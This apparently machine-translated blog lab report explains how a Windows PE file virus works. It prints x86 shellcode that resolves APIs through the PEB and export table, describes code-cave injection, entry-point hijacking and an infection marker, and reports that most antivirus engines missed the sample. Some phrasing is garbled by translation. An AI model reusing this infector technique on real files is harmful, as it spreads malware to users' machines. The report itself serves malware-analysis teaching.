Experimento de virus de archivo PE (dos) - informe de experimento

Propósito del experimento: dominar el formato de archivo PE; comprender el principio de infección por virus de archivos PE.
Contenido del experimento:
(1) Comprenda el formato de archivo PE.
(2) De acuerdo con el procedimiento experimental, programa para insertar código de virus en el archivo PE. Ejecute el archivo PE después de insertar el código del virus.
(3) Programación para realizar la operación de búsqueda de archivos .exe en el disco, insertando el código de virus para todos los archivos .exe y ejecutando el archivo exe después de insertar el código de virus.
(4) Programa para realizar la operación de buscar el archivo .exe en (3) en el disco, eliminar el código de virus para todos los archivos .exe y ejecutar el archivo exe después de eliminar el código de virus. .

dirección del proyecto

https://github.com/jmhIcoding/PE-learning.git

1. Principio experimental:

Los archivos ejecutables de Win32, como * .exe, .dll, .ocx, etc., son todos archivos en formato PE. El virus win32 que infecta archivos en formato PE se llama virus PE para abreviar. El virus PE es también el virus más numeroso, destructivo y más hábil de todos los virus. Para desarrollar mejor la tecnología antivirus, es extremadamente necesario comprender los principios de los virus. Básicamente, un virus PE debe tener varias funciones, como reubicación, interceptación de direcciones de funciones API, búsqueda de archivos de destino infectados, mapeo de archivos de memoria e implementación de infecciones, estos son también varios problemas básicos que el virus debe resolver.

Los pasos básicos para infectar archivos con virus PE son los siguientes:
(1) Determine si los dos primeros bytes del archivo de destino son "MZ".
(2) Determine la marca de archivo PE "PE".
(3) Determine la marca de infección, si se ha infectado, salte y continúe ejecutando el programa HOST; de lo contrario, continúe.
(4) Obtenga el número de directorio (directorio de datos), (la información de cada directorio de datos ocupa 8 bytes).
(5) Obtenga la posición inicial de la tabla de secciones. (La dirección de desplazamiento del directorio + el número de bytes ocupados por el directorio de datos = la posición inicial de la tabla de sección).
(6) Recorra todas las tablas de secciones y busque la primera sección con espacio libre que pueda acomodar todos los códigos de virus.
El método de cálculo del espacio libre de cada sección: el espacio libre de
la sección i-ésima = la dirección virtual de la sección i + 1a -la dirección virtual de la sección i-ésima-el tamaño virtual misceláneo de la i-ésima sección
(7) Comience a escribir el código de destino:

  1. Calcule la posición de desplazamiento del archivo del código de destino y, posteriormente, el código de destino se escribirá en el archivo PE desde esta posición. El método de cálculo es: Misc.VirtualSize de la tabla de la sección de destino + PointerToRawData de la tabla de la sección de destino
  2. El atributo de sección de la sección de destino modificada es 0xE00000E0, lo que significa que la sección de destino se puede leer, escribir y ejecutar.
  3. Segmento de datos escrito en el código de destino
  4. El órgano ejecutivo que escribe el código de destino.
  5. Modifique AddressOfEntryPoint (es decir, el punto de entrada del programa apunta a la ubicación de entrada del virus) y guarde el antiguo AddressOfEntryPoint al mismo tiempo, para que pueda volver a HOST para continuar con la ejecución.
  6. Actualizar SizeOfImage (el tamaño de la imagen PE completa en la memoria = el SizeOfImage original + el tamaño de la sección de virus después de alinear la sección de memoria). El tamaño del código SizeOfCode es el tamaño del código de virus SizeOfCode + original después de la alineación de la memoria.
  7. Escriba la marca de infección y escriba el antiguo AddressOfEntryPoint después de la marca de infección para ayudar a desintoxicarse.

2. Equipo de laboratorio (equipo, componentes)

(1) Cada estudiante tiene una PC con el sistema operativo Windows instalado.

3. Pasos experimentales:

Virus de archivo PE
1. Compile un programa simple cuya salida sea "¡hola mundo!" Y ejecútelo para obtener el archivo hello.exe.
2. Compile un código de virus simple, el virus puede iniciar el programa informático del sistema.
3. El programa de preparación inserta el código del virus en el archivo hello.exe y ejecuta hello.exe después del código insertado.
4. Ejecute el código de desintoxicación para resolver el problema del hello.exe recién infectado, de modo que el código del virus no se pueda ejecutar.

4. Datos experimentales y análisis de resultados:

1. Escriba el programa anfitrión hello.exe:

int main ()
{ printf ("¡Hola mundo! .. \ n"); system ("pause"); return 0; } Efecto de la operación:





Inserte la descripción de la imagen aquí

2. Escribe el código de virus

La idea básica del código de virus es:

A. Primero obtenga dinámicamente la dirección base de KernalBase32.dll a través de TEB
B. Luego busque el espacio de proceso de KernalBase32 para encontrar la dirección de función de la función GetProcAddress ().
El prototipo de función de la función GetProcAddress () es:

FARPROC GetProcAddress(
HMODULE hModule, // DLL模块句柄
LPCSTR lpProcName // 函数名
);

A través de esta función, puede obtener la dirección de función de la función especificada en un dll.
Usaremos esta función para obtener la dirección de la función LoadLibraryExa y la función system ().
El prototipo de función de LoadLibraryExa es:

HMODULE WINAPI LoadLibraryEx(
  _In_       LPCTSTR lpFileName,//DLL文件的文件名,例如“msvcr120.dll”
  _Reserved_ HANDLE  hFile,//保留字,设置为0
  _In_       DWORD   dwFlags//标志位,设置为0x10,以最高权限加载dll
);

La función LoadLibraryExa se usa para cargar un archivo dll. En este experimento, se usa para cargar msvcr120.dll, y system () existe en msvcr120.dll. Usamos un método de llamada similar a system ("calc.exe") para pass system () Inicie el programa de la calculadora.
C. Considerando que el código de virus requiere que se utilicen datos, se agregará un segmento de datos antes del código.

El diseño del código del virus es:

Un total de 96 bytes en el área de datos
incluyen:

旧的AddressOfEntryPoint,程序入口(4个字节)
Baseofmsvcr120;目标dll文件的基地址(4个字节)
AddOfFunction;目标函数(system)的函数地址(4字节),该函数将会被执行。
addOfcurrent;病毒代码的虚拟地址,用于重定位(4字节)
dllname;需要载入的目标dll的文件名,(16字节),也就是“msvcr120.dll”
functionname;目标dll里面需要执行的函数(16字节),也就是“system”
info;functionname函数的参数(16字节),也就是“calc.exe”
loadLibrarayEx; LoadLibraryExa的字符串(16字节)
pLoadLibraryExa;LoadLibraryExa函数的地址(4字节)
kernalBase; KernalBase的基地址(4字节)
getProcAddr; getProcAddress函数的基地址(4字节)
他们的定义为:
//病毒代码块
			//数据区
			DWORD oldEntry = fileh.OptionalHeader.AddressOfEntryPoint;//-92
			DWORD baseOfmsvcr120 = 0;//-88
			DWORD addOfprintf = 0;//-84
			DWORD addOfcurrent = 0;//-80
			char dllname[16] = "msvcr120.dll";//-76
			char functionname[16] = "system";//-60
			char info[16] = "calc.exe";//-44
			char loadlibraryEx[16] = "LoadLibraryExA";//-28
			DWORD pLoadLibraryExA = 0;//-12
			DWORD kernelBase = 0;//-8
			DWORD getProcAddr = 0;//-4

Diseño del área de ejecución de código:

Primero necesita reubicarse, a través de

call A
				A :
				pop edi		
				//可能会有一定偏移
				sub edi,5
				mov [edi-80], edi;//assign current address.

Guarde la dirección de memoria actual en edi. En este momento, edi primero compensa la dirección inferior en 80 unidades, que es la unidad de memoria donde se encuentra addOfcurrent en el área de datos. Tenga en cuenta que edi debe restar primero 5 bytes, porque las instrucciones de llamada y pop ocupan 5 bytes. Después de restar 5 bytes, edi es el final del área de datos de ejecución getProcAddr.

Luego obtenga la dirección base de KernalBase32:

mov eax, fs:[30h]
			mov eax, [eax + 0ch]
			mov eax, [eax + 1ch]
			mov eax, [eax]
				mov eax, [eax + 8h]
			mov [edi-8], eax;

Esto se obtiene principalmente a través de la estructura de PEB y TEB. Este método puede obtener correctamente la dirección base de KernalBase32 en Windows 10, Windows 7 y XP.

Luego busque la dirección de la función GetProcAddress.

				mov edi, eax
					mov eax, [edi + 3Ch]
					mov edx, [edi + eax + 78h]
					add edx, edi; edx = 引出表地址
					mov ecx, [edx + 18h]; ecx = 输出函数的个数
					mov ebx, [edx + 20h]
					add ebx, edi; ebx =函数名地址,AddressOfName

				search :
				dec ecx
					mov esi, [ebx + ecx * 4]
					add esi, edi; 依次找每个函数名称
					; GetProcAddress
					mov eax, 0x50746547
					cmp[esi], eax; 'PteG'
					jne search
					mov eax, 0x41636f72
					cmp[esi + 4], eax; 'Acor'
					jne search
					; 如果是GetProcA,表示找到了
					mov ebx, [edx + 24h]
					add ebx, edi; ebx = 序号数组地址, AddressOf
					mov cx, [ebx + ecx * 2]; ecx = 计算出的序号值
					mov ebx, [edx + 1Ch]
					add ebx, edi; ebx=函数地址的起始位置,AddressOfFunction
					mov eax, [ebx + ecx * 4]
					add eax, edi; 利用序号值,得到出GetProcAddress的地址
					sub eax, 0xb0
					pop edi
					mov ebx, edi;
					mov [ebx-4], eax;//GetProcAddress的地址

Esto se realiza principalmente mediante la búsqueda, se encuentra el nombre "GetProcAddress" y luego la dirección de GetProcAddress se obtiene mediante la consulta de Northbridge de acuerdo con la estructura de la tabla de exportación a través de este nombre, y se guarda en getProcAdd en el área de datos.

Luego obtenga la dirección de LoadLibraryExa a través de GetProcAddree:

sub ebx,28
				push ebx
				add ebx,28
				push [ebx-8];
				call [ebx-4];
			mov [ebx-12], eax;//LoadLibrary的地址
再通过LoadLibraryExa载入msvcr120.dll这个动态链接库:
				push 0x00000010
					push 0x00000000
					
					sub ebx,76
					push ebx
					add ebx,76
					//push eax
				call [ebx-12]

					mov [ebx-88], eax;

Entre ellos, ebx-76 es la dirección de la cadena "msvcr120.dll" en el área de datos. El identificador de esta biblioteca se conserva

Luego obtenga la dirección del sistema:

mov edx, eax
					sub ebx,60
					push ebx
					add ebx,60
					push edx
				call [ebx-4];//得到system的地址
mov [ebx-84], eax;

Llame a la función del sistema:

sub ebx,44
					push ebx
					add ebx,44
				call eax

Restaurar la pila:

					add esp, 400h
					pop ecx
					pop esp
					pop ebp
					pop edx

					pop esi
					pop eax
				pop ebx;

Regrese al punto de entrada original:

					mov eax, fs:[30h]
					mov eax, DWORD PTR [eax+8]
					add eax, [edi-92]
					mov edi,eax
					pop eax
				jmp edi

Tenga en cuenta que la dirección de entrada original debe calcularse dinámicamente. El oldEntryAddress en el área de datos solo guarda la dirección de desplazamiento relativa del punto de entrada antiguo. Necesitamos agregar esta dirección de compensación relativa a la dirección base del proceso en sí para obtener la dirección virtual.

3. Escribe el código de infección

El código de infección sirve principalmente para comprobar si el archivo de destino es un archivo PE y si está infectado. Si puede estar infectado, inserte el código del virus en el archivo PE de destino.
Este experimento utiliza los 8 bytes que siguen a DOS como signo de infección. Si los 4 bytes detrás de DOS son 0x06060606, significa que ha sido infectado y los últimos 4 bytes son las direcciones antiguas para la desintoxicación.
Si no está infectado, entonces:
1. Obtenga todas las tablas de sección del archivo PE
2. Busque la tabla de sección que tenga suficiente espacio libre para acomodar el código del virus
3. Escriba el código del virus en la sección correspondiente del archivo PE
4 . Modifique los atributos SizeOfImage, SizeOfCode y Section de la sección modificada
5. Agregue el indicador de infección, establezca los 4 bytes detrás del DOS del archivo PE en 0x06060606 y guarde el punto de entrada del programa anterior detrás de 0x06060606.6.
Modifique la entrada del programa. punto del archivo PE.

4. Escribe el código de desintoxicación

El proceso de desintoxicación es muy simple, porque guardaremos el punto de entrada real del programa anfitrión detrás de la marca de infección al infectar, por lo que solo necesitamos obtener el punto de entrada real del programa anfitrión y modificar el punto de entrada del programa anfitrión. El código del virus no se ejecutará.

5. Ejecución de resultados

Configuramos el programa anfitrión como hello.exe en 1. Antes de la infección, el efecto operativo del programa es:
Inserte la descripción de la imagen aquí
ejecutamos el programa de virus para infectar el programa anfitrión:
infección del programa de virus:

Inserte la descripción de la imagen aquí
Ejecute el programa host infectado: el
Inserte la descripción de la imagen aquí
programa host inicia el programa de la calculadora antes de imprimir Hello world, lo que indica que la infección se ha realizado correctamente.
Usamos IDA para comprobar el programa host y también podemos ver que el código del virus se ha insertado correctamente en el host:
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
Luego ejecutamos el programa de desintoxicación, sí. El programa anfitrión está desintoxicado: el
programa de desintoxicación está en desintoxicación:
Inserte la descripción de la imagen aquí
ejecute el programa anfitrión de nuevo:
Inserte la descripción de la imagen aquí
podemos encontrar que el programa anfitrión ha vuelto a la normalidad nuevamente y el programa de la calculadora no se ha iniciado. ¡Entonces la desintoxicación es exitosa!

5. Conclusiones experimentales, experiencia y sugerencias de mejora:

En este experimento, al escribir el código de virus, el módulo de infección y el módulo de desintoxicación de un programa PE, tenemos una comprensión más completa del formato del archivo PE. En este experimento, el código del virus se inserta en el espacio libre buscando la sección con espacio libre para direcciones en el archivo PE. Luego modifique los campos correspondientes, modifique los atributos de la sección, modifique el punto de entrada y agregue la bandera de infección. La estructura en ejecución del programa infectado muestra que el virus infectó con éxito el programa host y obtuvo el control antes de que se ejecutara el programa host. Después de iniciar un programa de calculadora, el control se devolvió al programa host. El experimento fue bastante exitoso.

Además, cargué el programa antivirus en el sitio web de detección de virus en línea para comprobar si el programa antivirus puede ser reconocido por el software antivirus. Los resultados de la comprobación son los siguientes:
Inserte la descripción de la imagen aquí
se probaron 39 programas antivirus conocidos y sólo un software antivirus identificó con precisión el programa de virus.
Inserte la descripción de la imagen aquí
Kaspersky, Symantec, Rising y Qihoo 360 no se han identificado con precisión. Esto muestra las limitaciones del software antivirus tradicional frente a nuevos virus que no han aparecido, aunque sigue siendo un virus PE ordinario.

6. Sugerencias para mejorar el proceso, los métodos y los métodos experimentales:

La sugerencia en la guía del experimento es agregar una nueva sección directamente al archivo PE para insertar el código del virus. De hecho, la carga de trabajo es particularmente complicada. Porque después de insertar una nueva sección, la tabla de sección necesita insertar una nueva entrada de tabla de sección, lo que requiere compensar todas las secciones después de la entrada de la tabla de sección. Este proceso es muy propenso a errores; o simplemente poner la última tabla de sección (generalmente es una tabla de sección libre) para modificar, de modo que no hay necesidad de compensar la sección, pero no todos los archivos PE reservarán una entrada de tabla de sección en blanco.

Por lo tanto, este experimento utiliza el método de insertar el código del virus en el espacio de la sección. De esta manera, no hay necesidad de compensar la sección y no hay necesidad de preocuparse por la alineación del archivo PE modificado.

Además, el código del virus se puede adjuntar directamente al final de la última sección y fusionarse con el contenido de la última sección original para formar una sección grande. No es necesario agregar nuevas entradas a la tabla de sección y no hay ningún desplazamiento de sección. problema.

Supongo que te gusta

Origin blog.csdn.net/jmh1996/article/details/104592450
Recomendado
Clasificación